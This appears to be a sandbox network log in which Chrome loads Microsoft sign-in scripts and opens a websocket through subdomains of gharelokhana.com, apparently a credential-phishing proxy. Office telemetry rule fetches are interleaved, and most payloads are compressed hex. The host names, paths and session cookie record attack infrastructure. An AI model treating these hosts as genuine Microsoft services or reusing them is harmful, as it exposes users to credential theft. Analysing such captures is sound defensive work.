2024-12-04 15:15:36 UTC	805	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:36 GMT Content-Type: application/x-javascript Content-Length: 4889 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 22 Oct 2020 20:43:21 GMT etag: 0x8D876CB1D67B929 x-ms-request-id: 412c788c-701e-004d-3ed0-443317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151536Z-16c5c9558c6ppf7hhC1DUS1dr0000000065g000000001034 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:36 UTC	4889	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 5a 7b 73 db b6 96 ff 5f 9f 82 46 73 1d 32 a2 28 39 af b6 52 58 ad 1b 3b 5b df 6d e3 ac ed 4c 6f 57 52 3a b4 04 4a 4c 28 42 05 c1 d8 1e 4b df 7d 7f 07 00 45 52 56 da dc ee 6c 66 62 e1 79 70 de 0f 80 dd 27 07 4e e7 eb ff 39 97 57 c7 17 57 ce f9 1b e7 ea a7 b3 8b 13 e7 1d 7a bf 39 6f cf af ce 5e 9f 7e 3d 9c 56 eb 6a 91 e4 4e 9c a4 dc c1 ef 75 94 f3 99 23 32 47 48 27 c9 a6 42 ae 84 8c 14 cf 9d 25 fe ca 24 4a 9d 58 8a a5 a3 16 dc 59 49 f1 91 4f 55 ee a4 49 ae b0 e9 9a a7 e2 c6 71 01 4e ce 9c 77 91 54 77 ce d9 3b 2f 70 ae b0 56 c8 64 9e 64 d8 3d 15 ab 3b b4 17 ca c9 84 4a a6 dc 89 b2 99 86 96 a2 93 e5 dc 29 b2 19 97 ce cd 22 99 2e 9c 5f 92 a9 14 b9 88 95 23 f9 94 27 9f 71 48 5e 60 bc 79 84 ef 44 92 3b 39 57 4e 2c a4 5a 18 3c 02 Data Ascii: Z{s_Fs2(9RX;[mLoWR:JL(BK}ERVlfbyp'N9WWz9o^~=VjNu#2GH'B%$JXYIOUIqNwTw;/pVdd=;J)"._#'qH^`yD;9WN,Z<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49775	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:36 UTC	545	OUT	GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1 Host: 7eb5b5ab-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:37 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:37 GMT Content-Type: application/x-javascript Content-Length: 98504 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5386712 cache-control: public, max-age=31536000 etag: 0x8DCE31CBF93C4DB last-modified: Wed, 02 Oct 2024 19:59:39 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 835d623a-d01e-0050-2261-154337000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-12-04 15:15:37 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7b 77 e3 36 b2 38 f8 ff 7e 0a 99 33 eb 90 31 ad d6 d3 0f 3a 8c af 2c ab bb 35 b1 2d 8f 65 27 99 eb f6 f8 50 24 24 33 96 49 5d 92 f2 63 24 fd 3e fb 56 15 00 12 a4 28 77 77 66 ce 9e bb 67 f3 b0 08 a0 f0 2a 14 0a 55 40 a1 f0 e1 c7 ad ff ab f2 63 65 f7 db ff a9 0c af 3b 57 d7 95 c1 c7 ca f5 e7 fe d5 69 e5 12 42 ff a8 5c 0c ae fb dd de b7 97 83 95 e2 ff d7 0f 7e 5c 19 fb 53 56 81 df 91 13 33 af 12 06 95 30 aa f8 81 1b 46 b3 30 72 12 16 57 9e e0 6f e4 3b d3 ca 38 0a 9f 2a c9 03 ab cc a2 f0 0f e6 26 71 65 ea c7 09 64 1a b1 69 f8 52 d1 a1 b8 c8 ab 5c 3a 51 f2 56 e9 5f 1a 55 28 9f 41 69 fe c4 0f 20 b7 1b ce de e0 fb 21 a9 04 61 e2 bb ac e2 04 1e 95 36 85 40 10 b3 ca 3c f0 58 54 79 79 f0 dd 87 ca b9 ef 46 61 1c 8e 93 4a c4 5c e6 Data Ascii: {w68~31:,5-e'P$$3I]c$>V(wwfgU@ce;WiB\~\SV30F0rWo;8&qediR\:QV_U(Ai !a6@<XTyyFaJ\
2024-12-04 15:15:37 UTC	16384	IN	Data Raw: 5b 09 19 fd 7c 2e 1c bd f4 9d 15 5f f5 01 4b 6e 30 f1 d2 b2 6c 3c 0f ae 4c 74 f9 23 9d 39 a3 57 c3 d2 79 9f 3d ed fb cf 2f f1 ce 12 fe ff eb 87 09 ba 75 e7 1d 2e 71 50 9a 7a 9a 26 17 d3 a5 0f 2e 16 7a cc 5d 5c a7 89 18 dc ad d3 10 e0 a9 75 24 fc 85 99 8a e3 c3 12 bf 7a 72 86 e4 c8 28 f3 d5 ca 84 37 3d 18 ef 9c d3 d6 cc 3b 35 f9 71 26 98 04 59 4f 70 5b bb 43 b7 7b 7a 64 fb 7a 84 0f 0f d2 2b 25 7c 5a 1e 3b 34 35 d0 3d 36 7d 85 c7 81 78 9b 1a 1f af 4b 3f 53 4f a4 48 54 0e bd 62 a9 58 5e 14 5f 98 d3 d1 0b 21 39 fc 47 3f b4 a8 ab 74 90 1d fe ac fd 1f 6d b9 24 77 d3 8a b7 ec 8a 96 be 28 50 3f 92 cd 4f 53 ff 8b bf 0e 49 1e af 03 cc 6c e7 32 f3 67 20 73 d9 93 b4 f7 32 73 22 7d ba 36 80 de 00 19 22 f8 53 1d 83 f5 34 d8 c8 ca 81 4c 71 ee 95 5f 5c 15 df 3a b1 eb fb Data Ascii: [\|._Kn0l<Lt#9Wy=/u.qPz&.z]\u$zr(7=;5q&YOp[C{zdz+%\|Z;45=6}xK?SOHTbX^_!9G?tm$w(P?OSIl2g s2s"}6"S4Lq_\:
2024-12-04 15:15:37 UTC	16384	IN	Data Raw: e7 9c 33 27 52 2c e2 0f 77 15 c1 29 2f d7 26 d8 d2 31 3a fc 3b 5f 94 26 ec 78 f7 7a 09 48 89 f9 be 8f cc 81 ce c2 3f 0b 6f 6a 04 3d 4e 96 e1 fc c0 77 0e 6b 70 25 8f e9 d9 e1 23 75 b9 f0 6b c8 0d 93 a5 5f 23 c6 00 7f cb c9 fc 73 53 f6 90 1f ab 57 f8 d2 7e 35 99 5c 84 f3 2f ba 85 0f eb 52 bd 50 3e 1e 7a eb 6c 72 e1 8b 36 7d 72 29 ed 12 23 2a ed 9c 55 9d ad 57 69 f8 40 5f 3d 90 8a e4 39 5e a6 f7 10 72 b3 9e 5c 6e fd 0f e1 57 8f 79 32 7f e5 ee 6f a2 a1 83 0d c7 ef 8a b7 f0 4a 98 4d e8 bf 3d e0 31 9b 5f 5c 9a 1d 0a b5 2e db c5 73 5e 10 58 4f f0 e6 a5 5d 31 df 5f 74 0d f7 d3 a2 b5 ca 0f 60 e2 b4 6f 99 5d 35 85 eb a8 6d 86 6c bf 58 ec da 1e 60 58 58 87 4e 2d 42 1b a1 d4 87 a2 a8 56 2f fc ca 2e ff f0 93 4d 24 26 09 91 3a b7 b7 95 98 92 fc a8 d1 ca b4 cd 1e ec 2c Data Ascii: 3'R,w)/&1:;_&xzH?oj=Nwkp%#uk_#sSW~5\/RP>zlr6}r)#*UWi@_=9^r\nWy2oJM=1_\.s^XO]1_t`o]5mlX`XXN-BV/.M$&:,
2024-12-04 15:15:37 UTC	16384	IN	Data Raw: 5f 4c be dc aa d6 58 04 a8 0d 91 a8 f5 19 0d f1 5f ce 44 2c 9b 7c 6e df 12 09 6e 42 82 6a 9e 96 88 97 74 a6 3b b2 6d 6b b2 c0 fd 25 a6 48 05 02 9a 72 f3 fd c5 d4 aa 06 4d 9f 29 27 2d 79 07 b1 27 e6 ed 50 45 12 a6 8d 26 73 ec 70 7a a7 76 af 18 14 d3 16 b2 54 ec e5 ae e6 59 3a 4a f9 68 8a 70 71 4b 51 69 ee 36 f1 86 ac 99 9e 36 d3 27 d8 83 dd 96 e4 1c 01 d5 1b 60 a9 70 d7 a0 0d 40 d8 e5 6c 04 22 86 bb 0e 56 00 17 ff c2 9a 0e 33 d9 93 2f ed bb 93 52 f8 a3 82 ce ea e0 8f c4 ac 7f 3c 97 63 93 57 3f cc 43 c1 72 c9 19 0f d9 9f 22 c1 72 6f 2b 71 db 4a d8 9c c4 8e e5 a4 f0 97 cb 49 e6 ff 91 30 41 36 68 20 c5 b6 6e cd ae af da 23 ea af e6 e3 8e 33 54 69 bd f5 64 8d 66 6d f3 80 de 2f fa a1 95 f8 dc b0 71 bd 47 81 95 12 3d 94 87 fd 32 dd 0d 70 d7 94 d8 78 77 66 75 b2 Data Ascii: _LX_D,\|nnBjt;mk%HrM)'-y'PE&spzvTY:JhpqKQi66'`p@l"V3/R<cW?Cr"ro+qJI0A6h n#3Tidfm/qG=2pxwfu
2024-12-04 15:15:37 UTC	2695	IN	Data Raw: bc ae 48 a5 fe f5 ae b4 0d 4f 77 c9 a7 95 7a 1e bb ab 31 ae 9a 25 00 d9 24 23 a4 f6 17 0e 1e 8f 57 1f a2 e8 3a 98 a8 6c ec e7 e4 df c4 f5 c7 11 d7 c2 bb f1 c2 db 55 1b 65 fd 5c be db 33 2e a4 82 fa 96 4f a3 99 d5 ec e2 62 d2 d8 98 42 66 0f 02 f6 ed 97 25 d4 88 28 bf 78 35 9b 5c 23 1a 41 57 7b 87 7b 01 ff 26 e0 7f 13 f0 0e 92 ff 2c 04 fc 04 8d e1 62 6c e1 ef c7 d7 ab cb 8a 56 0f 20 c6 4d 83 27 60 b7 5f 7e 19 aa fc f7 cc 9d be 2e f4 e1 b3 b5 2a f4 bf 27 e8 4b 2d ad c8 96 cb 4d 85 c7 d6 82 dd fe 47 88 81 45 ec f0 44 87 1e ff 2d 0f fe 64 da f2 9e d1 fd df 49 f9 af e0 cf 3f 92 ee 43 e1 df ec ec b0 49 4d 77 26 f5 67 8f 1b 37 af ae 97 f3 b1 1d cf ae 97 8f e7 f3 9b 67 f5 1e 93 88 bd 9c 2c d7 dd 9c e8 f9 fc 4f 34 9b d7 73 3c ea 78 19 cf 19 da a6 f4 97 7a 85 7d f3 Data Ascii: HOwz1%$#W:lUe\3.ObBf%(x5\#AW{{&,blV M'`_~.*'K-MGED-dI?CIMw&g7g,O4s<xz}
2024-12-04 15:15:37 UTC	16384	IN	Data Raw: 3f f1 e3 7f e6 18 97 93 68 5f 48 e9 b2 cc 00 df a0 06 33 1f 38 d0 3d ac 25 bd 6b d4 65 af 21 b6 b8 66 14 ec 06 60 95 09 50 57 91 81 bc 90 49 5a 18 93 70 ff 65 c6 1a f1 9c 25 1a c3 56 66 ba 20 05 74 88 1a bd 48 30 b4 a1 42 41 dd bb 7d d8 e8 1b 54 e8 94 a6 19 66 b4 2b 00 06 6a 93 02 54 bc 44 49 cb 61 1e 68 ff 14 5e ed 6a 16 60 27 61 86 5f 97 01 ef 96 a8 c2 a7 8e 39 57 20 57 03 49 79 ef 50 97 37 76 4c 32 50 28 13 ca 3d f4 67 c0 4c c5 a8 da 86 17 c0 3d 15 d7 a2 77 4b e2 aa b9 8f 9b c3 d8 30 29 82 97 60 ba 81 fd cf 0b 01 22 99 7b 6b 2c 58 c9 f4 0b 8e bb 94 cd 20 a5 52 a3 41 e1 25 60 5d 68 a3 ac c6 d4 e5 60 42 82 42 46 14 ed 79 f4 b3 b8 6d 4c 60 15 65 9e 68 c7 94 a2 a0 88 24 94 49 10 1a 5a 68 c1 3c 2c f4 9e 07 5d f6 4a bd 92 29 4c 74 92 51 e0 dc 99 61 14 73 3f Data Ascii: ?h_H38=%ke!f`PWIZpe%Vf tH0BA}Tf+jTDIah^j`'a_9W WIyP7vL2P(=gL=wK0)`"{k,X RA%`]h`BBFymL`eh$IZh<,]J)LtQas?
2024-12-04 15:15:37 UTC	12576	IN	Data Raw: 35 65 5b 3b 45 55 2a a6 e6 e4 df 5d 94 3e 5b 4e d3 d5 c4 6c 9c 4e 57 81 d0 90 5d 71 58 e5 39 2c 43 0a 4c 5a da 28 ce 44 1e c0 a3 f4 d3 d9 fb 0f 5e f2 95 65 cb f0 b7 c2 e4 7d d9 f0 7c 1f 63 a7 c2 8e 6c 52 66 77 89 92 be 6c 18 9b f9 25 bc be e4 59 2d ad 19 bf 94 43 6c 80 d5 98 45 97 a7 89 ef 5a 1b f6 0b 3c 04 1d fb c5 86 55 45 fb e9 8d a8 45 95 ba 58 49 dd 53 68 1c 5e 5b 8d 97 bf 3e b6 57 6a af b7 4a a7 fd 55 3b 7d 2c 15 a9 cf 2b fb a7 da 1f 5a 84 ad 55 56 6a f0 83 b7 67 7b 95 4e 77 7e d6 f6 d0 40 5f 72 dc b2 1a b7 1b 42 ef 0a e2 b7 ca 28 4f 1b 26 cf ea 5b 25 17 8e 82 9e 32 0c b8 8b 18 aa 5a ad f1 50 64 25 e4 ff 6e 2c 42 cf 19 46 90 92 f7 73 09 2e d2 97 5e 92 c4 df 46 53 36 c9 46 df ae c2 8c 8d 7a ed f6 b6 bf b5 b5 dd 69 8f 7b e3 ad 6d bf d3 ef 6c 8f 77 7a Data Ascii: 5e[;EU*]>[NlNW]qX9,CLZ(D^e}\|clRfwl%Y-ClEZ<UEEXISh^[>WjJU;},+ZUVjg{Nw~@_rB(O&[%2ZPd%n,BFs.^FS6Fzi{mlwz
2024-12-04 15:15:37 UTC	4008	IN	Data Raw: ba 3c 9b ac 92 51 58 64 01 8d 94 0c c5 32 31 a8 d6 71 e9 25 d5 f7 f4 a4 bd 99 5d fb 71 a9 66 58 2b e5 2c e2 89 6a 9d 9b 07 5b ff f9 ce cd aa 20 b2 b1 58 d9 5d c9 02 6b cc 72 8b 7f e5 0c 88 05 a4 98 f3 b6 2e 4f 77 4b 55 d1 f5 ac 2e bd ad d2 07 d0 bd a9 86 35 4e ff 7b 0e c4 12 23 3d a2 9b e5 e5 55 36 3a 98 66 e2 f2 9d 9a 0c b7 7c e0 d4 a9 d4 f8 a3 2d 4d 8c 5b ae b5 5a 72 dc 48 cb 8c bb a0 2d a3 a9 87 38 06 4a 4f ac 9d 86 15 2c 39 7a 86 5e fd eb 2a 7b 60 5a af 05 08 6b 55 e5 67 bf b8 34 e1 a0 af 80 c8 6d f2 84 bc ed 31 21 2d 10 93 08 a3 a5 f3 31 7f f0 64 00 93 79 ca 4e 65 61 42 97 31 30 c3 c7 e7 19 e5 e5 c0 40 28 5c a8 53 cc 7b dc 4b 82 34 99 63 e9 63 31 13 4a d5 39 cf d5 01 24 65 82 87 36 f4 19 b6 36 9f 7d fe 2e 53 74 4c 28 09 09 1c 56 2f ba 7d 5d c4 0a 73 Data Ascii: <QXd21q%]qfX+,j[ X]kr.OwKU.5N{#=U6:f\|-M[ZrH-8JO,9z^*{`ZkUg4m1!-1dyNeaB10@(\S{K4cc1J9$e66}.StL(V/}]s

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49776	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:36 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151536Z-1746fd949bdjrnwqhC1EWRpg2800000001g0000000006mkp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:37 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49777	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:37 UTC	680	OUT	GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg==" Sec-WebSocket-Key: I1PXVW4Brt53arrgoIK6mg== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-04 15:15:37 UTC	740	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 04 Dec 2024 15:15:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: dc2c4cba-72b1-455a-a3de-ba7705552f01 x-ms-ests-server: 2.1.19492.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49779	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8da67b63-c01e-0034-2ecb-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151538Z-1746fd949bdwt8wrhC1EWRu6rg00000001kg0000000080wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49780	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:37 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151538Z-1746fd949bd4w8sthC1EWR7004000000017000000000381w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49782	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:37 UTC	661	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:15:38 UTC	805	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:38 GMT Content-Type: application/x-javascript Content-Length: 3921 Connection: close cache-control: public, max-age=31536000 last-modified: Tue, 28 Jun 2022 20:27:38 GMT etag: 0x8DA5944A4FF258E x-ms-request-id: d90c9cea-901e-004e-44d0-449a61000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151538Z-15b54885d96gb6rwhC1FRAx2vs000000063000000000agqn x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:38 UTC	3921	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 5a 6b 73 e3 36 b2 fd 3e bf 82 46 b9 64 32 82 39 f2 66 93 dd 95 86 a3 f5 2b 3b ce f5 2b e3 c9 ce 56 c9 2a 17 45 42 12 c7 14 a0 80 a4 6d 5d 4b ff 7d 4f 03 24 45 c9 9e ca 24 f7 a6 32 36 89 47 a3 d1 38 7d ba d1 f4 ce b8 90 51 9e 28 e9 7a cf d5 a3 23 f0 a2 45 5e 68 e9 3e f9 a9 8a 42 6a f5 e7 5a e5 2a 52 e9 72 c9 98 e7 47 4a a2 dd 65 6f df 32 de 18 34 55 59 2e c3 99 58 2e b7 1a bd 55 2d 5e bb c2 7b 4e c6 f4 33 d7 8b e7 87 50 3b 3a 78 5b 77 bb fe f3 01 5f 79 b7 ee 5b 2e 03 ed 8b 27 11 b9 82 d6 cb 72 5d 44 b9 d2 7e ae 6e 72 9d c8 89 eb 79 3d ab a7 23 5b 2d e9 a7 42 4e f2 e9 fb 83 be 1c 1c 0c bb 8c ad b0 7e 34 a5 75 56 2b 3b 0e 6d f5 3a d2 15 5c 73 69 55 69 b5 b4 f7 2c 97 4b 57 04 02 f2 cf d5 a3 d0 c7 61 26 68 89 b1 d2 2e 29 99 07 Data Ascii: Zks6>Fd29f+;+VEBm]K}O$E$26G8}Q(z#E^h>BjZRrGJeo24UY.X.U-^{N3P;:x[w_y[.'r]D~nry=#[-BN~4uV+;m:\siUi,KWa&h.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49783	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
